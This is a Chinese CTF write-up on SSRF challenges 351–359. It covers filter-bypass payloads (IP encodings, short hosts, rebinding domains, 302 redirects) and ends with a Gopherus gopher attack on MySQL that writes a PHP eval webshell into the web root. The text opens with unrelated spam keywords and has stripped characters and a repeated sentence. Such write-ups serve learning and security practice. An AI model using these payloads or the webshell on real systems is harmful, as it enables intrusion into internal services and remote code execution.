个人求职网站如何做,京东商城网站地址,怎么解决360导航的网站建设,php做学校网站免费下载SSRF概述 强制服务器发送一个攻击者的请求
互联网上的很多web应用提供了从其他服务器#xff08;也可以是本地)获取数据的功能。使用用户指定的URL#xff0c;web应用可以获取图片#xff08;载入图片#xff09;、文件资源#xff08;下载或读取)。如下图所示也可以是本地)获取数据的功能。使用用户指定的URLweb应用可以获取图片载入图片、文件资源下载或读取)。如下图所示百度提供识图功能。如果链接可以访问任意请求则存在ssrf漏洞
351 尝试访问flag.php 发现本地用户才能访问构造payload
urlhttp://127.0.0.1/flag.php
352 parse_url():本函数解析一个URL并返回一个关联数组包含在URL中出现的各种组成部分。
这里127.0.0和localhost被黑名单过滤可以用进制转换来绕过
127(10)0x7f(16)0177(8)十进制转十六和八进制
payload: urlhttp://0x7f.0.0.1/flag.php 353和352一样 354 0 1被过滤
利用302跳转 如果后端服务器在接收到参数后正确的解析了URL的host并且进行了过滤我们这个时候可以使用302跳转的方式来进行绕过。 http://xip.io 当我们访问这个网站的子域名的时候例如192.168.0.1.xip.io就会自动重定向到192.168.0.1。 DNS Rebinding 对于常见的IP限制后端服务器可能通过下图的流程进行IP过滤 ![[Pasted image 20210125224939.png]] 对于用户请求的URL参数首先服务器端会对其进行DNS解析然后对于DNS服务器返回的IP地址进行判断如果在黑名单中就pass掉。 但是在整个过程中第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查利用这个时间差我们可以进行DNS 重绑定攻击。 要完成DNS重绑定攻击我们需要一个域名并且将这个域名的解析指定到我们自己的DNS Server在我们的可控的DNS Server上编写解析服务设置TTL时间为0。这样就可以进行攻击了完整的攻击流程为
(1)、服务器端获得URL参数进行第一次DNS解析获得了一个非内网的IP
(2)、对于获得的IP进行判断发现为非黑名单IP则通过验证
(3)、服务器端对于URL进行访问由于DNS服务器设置的TTL为0所以再次进行DNS解析这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证所以服务器端返回访问内网资源的结果。
修改自己域名的a记录改成127.0.0.1
这个网站a记录指向127.0.0.1 可以直接利用
urlhttp://sudo.cc/flag.php
sudo.cc相当于127.0.0.1 355 host长度要求小于等于5使用127.1省略绕过
payload:
urlhttp://127.1/flag.php 356 host长度小于等于3
0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0
payload:
urlhttp://0/flag.php 357 gethostbyname — 返回主机名对应的 IPv4地址
gethostbyname()查找主机名最基本的函数。
如果调用成功它就返回一个指向hostent结构的指针该结构中含有所查找主机的所有IPv4地址。这个函数的局限是只能返回IPv4地址.filter_var(variable, filter, options)函数通过指定的过滤器过滤一个变量。
• 返回值
• 如果成功则返回被过滤的数据。
• 如果失败则返回 FALSE。FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。可能的标志
• FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP比如 255.255.255.255
• FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334
• FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP 比如 192.168.0.1
• FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。要求IP地址不能是私有地址
因为代码中使用了 gethostbyname 获取了真实 IP 地址所以域名指向方法不能再使用可以使用 302 跳转方法和 dns rebinding 方法
DNS rebindingDNS重新绑定攻击
攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址第一次是真正的IP第二次是攻击目标IP地址甚至可以通过这种攻击方法绕过同源策略
回到题目在题目代码中一共对域名进行了两次请求第一次是 gethostbyname 方法第二次则是 file_get_contents 文件读取可以通过 ceye.io 来实现攻击DNS Rebinding 中设置两个 IP一个是 127.0.0.1 另一个是随便可以访问的 IP
在http://ceye.io/网站注册然后类似web354的做法 358 正则匹配
url 字符串要以 http://ctf开头show结尾
payload urlhttp://ctf.127.0.0.1/flag.php#show 359
使用Gopher协议打MySQL
先在虚拟机上使用kali下载Gopher
git clone https://github.com/tarunkant/Gopherus.git python gopherus.py python2 .\gopherus.py --exploit mysqlusername:root
写入一句话木马
select ?php eval($_POST[cmd]);? into outfile /var/www/html/2.php;然后进行一次url编码就是/后的从%开始